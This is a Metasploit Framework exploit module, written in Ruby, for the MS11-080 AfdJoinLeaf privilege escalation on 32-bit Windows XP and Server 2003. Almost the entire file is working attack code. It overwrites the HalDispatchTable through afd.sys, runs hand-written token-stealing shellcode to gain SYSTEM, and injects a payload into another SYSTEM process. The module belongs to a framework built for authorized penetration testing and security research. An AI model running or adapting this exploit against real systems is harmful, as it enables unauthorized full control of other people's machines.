metasploit-framework/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb

222 lines
7.8 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/local/windows_kernel'
require 'rex'
class MetasploitModule < Msf::Exploit::Local
Rank = AverageRanking
# Average because this module relies on memory corruption within the
# kernel, this is inherently dangerous. Also if the payload casues
# the system process that it was injected into to die then it's also
# possible that the system may become unstable.
include Msf::Exploit::Local::WindowsKernel
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
def initialize(info = {})
super(update_info(info, {
'Name' => 'MS11-080 AfdJoinLeaf Privilege Escalation',
'Description' => %q(
This module exploits a flaw in the AfdJoinLeaf function of the
afd.sys driver to overwrite data in kernel space. An address
within the HalDispatchTable is overwritten and when triggered
with a call to NtQueryIntervalProfile will execute shellcode.
This module will elevate itself to SYSTEM, then inject the payload
into another SYSTEM process before restoring it's own token to
avoid causing system instability.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Matteo Memelli', # original exploit and all the hard work
'Spencer McIntyre' # MSF module
],
'Arch' => [ARCH_X86],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Targets' =>
[
['Automatic', {}],
['Windows XP SP2 / SP3',
{
'HaliQuerySystemInfo' => 0x16bba,
'HalpSetSystemInformation' => 0x19436,
'_KPROCESS' => "\x44",
'_TOKEN' => "\xc8",
'_UPID' => "\x84",
'_APLINKS' => "\x88"
}
],
['Windows Server 2003 SP2',
{
'HaliQuerySystemInfo' => 0x1fa1e,
'HalpSetSystemInformation' => 0x21c60,
'_KPROCESS' => "\x38",
'_TOKEN' => "\xd8",
'_UPID' => "\x94",
'_APLINKS' => "\x98"
}
]
],
'References' =>
[
%w(CVE 2011-2005),
%w(OSVDB 76232),
%w(EDB 18176),
%w(MSB MS11-080),
%w(URL http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/)
],
'DisclosureDate' => 'Nov 30 2011',
'DefaultTarget' => 0
}))
end
# Function borrowed from smart_hashdump
def get_system_proc
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
local_sys = resolve_sid('S-1-5-18')
system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"
# Processes that can Blue Screen a host if migrated in to
dangerous_processes = ['lsass.exe', 'csrss.exe', 'smss.exe']
session.sys.process.processes.each do |p|
# Check we are not migrating to a process that can BSOD the host
next if dangerous_processes.include?(p['name'])
next if p['pid'] == session.sys.process.getpid
next if p['pid'] == 4
next if p['user'] != system_account_name
return p
end
end
def exploit
if sysinfo['Architecture'] =~ /wow64/i
print_error('Running against WOW64 is not supported')
return
elsif sysinfo['Architecture'] =~ /x64/
print_error('Running against 64-bit systems is not supported')
return
end
mytarget = target
if mytarget.name =~ /Automatic/
os = sysinfo['OS']
mytarget = targets[1] if os =~ /windows xp/i
mytarget = targets[2] if (os =~ /2003/) && (os =~ /service pack 2/i)
if (os =~ /\.net server/i) && (os =~ /service pack 2/i)
mytarget = targets[2]
end
if mytarget.name =~ /Automatic/
print_error('Could not identify the target system, it may not be supported')
return
end
print_status("Running against #{mytarget.name}")
end
if is_system?
print_error('This meterpreter session is already running as SYSTE')
return
end
this_proc = session.sys.process.open
base_addr = 0x1001
result = session.railgun.ws2_32.WSASocketA('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP', nil, nil, 0)
socket = result['return']
irpstuff = rand_text_alpha(8)
irpstuff << "\x00\x00\x00\x00"
irpstuff << rand_text_alpha(4)
irpstuff << "\x01\x00\x00\x00"
irpstuff << "\xe8\x00\x34\xf0\x00"
irpstuff << rand_text_alpha(231)
unless this_proc.memory.writable?(0x1000)
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [base_addr].pack('V'), nil, [0x1000].pack('V'), 'MEM_COMMIT | MEM_RESERVE', 'PAGE_EXECUTE_READWRITE')
end
unless this_proc.memory.writable?(0x1000)
print_error('Failed to properly allocate memory')
return
end
this_proc.memory.write(0x1000, irpstuff)
haldispatchtable = find_haldispatchtable
return if haldispatchtable.nil?
halbase = find_sys_base('hal.dll')[0]
hal_iquerysysteminformation = halbase + mytarget['HaliQuerySystemInfo']
hal_psetsysteminformation = halbase + mytarget['HalpSetSystemInformation']
print_status("HaliQuerySystemInformation Address: 0x#{hal_iquerysysteminformation.to_s(16).rjust(8, '0')}")
print_status("HalpSetSystemInformation Address: 0x#{hal_psetsysteminformation.to_s(16).rjust(8, '0')}")
#### Exploitation ####
shellcode_address_dep = 0x0002071e
shellcode_address_nodep = 0x000207b8
padding = make_nops(2)
backup_token = 0x20900
restore_ptrs = "\x31\xc0"
restore_ptrs << "\xb8" + [hal_psetsysteminformation].pack('V')
restore_ptrs << "\xa3" + [haldispatchtable + 8].pack('V')
restore_ptrs << "\xb8" + [hal_iquerysysteminformation].pack('V')
restore_ptrs << "\xa3" + [haldispatchtable + 4].pack('V')
restore_token = "\x52"
restore_token << "\x33\xc0"
restore_token << "\x64\x8b\x80\x24\x01\x00\x00"
restore_token << "\x8b\x40" + mytarget['_KPROCESS']
restore_token << "\x8b\x15" + [backup_token].pack('V')
restore_token << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
restore_token << "\x5a"
restore_token << "\xc2\x10"
shellcode = padding + restore_ptrs + token_stealing_shellcode(mytarget, backup_token)
this_proc.memory.write(shellcode_address_dep, shellcode)
this_proc.memory.write(shellcode_address_nodep, shellcode)
this_proc.memory.protect(0x00020000)
addr = [2, 4455, 0x7f000001, 0, 0].pack('vvVVV')
result = session.railgun.ws2_32.connect(socket, addr, addr.length)
if result['return'] != 0xffffffff
print_error('The socket is not in the correct state')
return
end
print_status('Triggering AFDJoinLeaf pointer overwrite...')
session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, haldispatchtable + 5, 0)
session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
unless is_system?
print_error('Exploit failed')
return
end
proc = get_system_proc
print_status("Injecting the payload into SYSTEM process: #{proc['name']}")
unless execute_shellcode(payload.encoded, nil, proc['pid'])
print_error('An error occurred while executing the payload')
end
# Restore the token because apparently BSODs are frowned upon
print_status('Restoring the original token...')
shellcode = padding + restore_ptrs + restore_token
this_proc.memory.write(shellcode_address_dep, shellcode)
this_proc.memory.write(shellcode_address_nodep, shellcode)
session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, haldispatchtable + 5, 0)
session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
end
end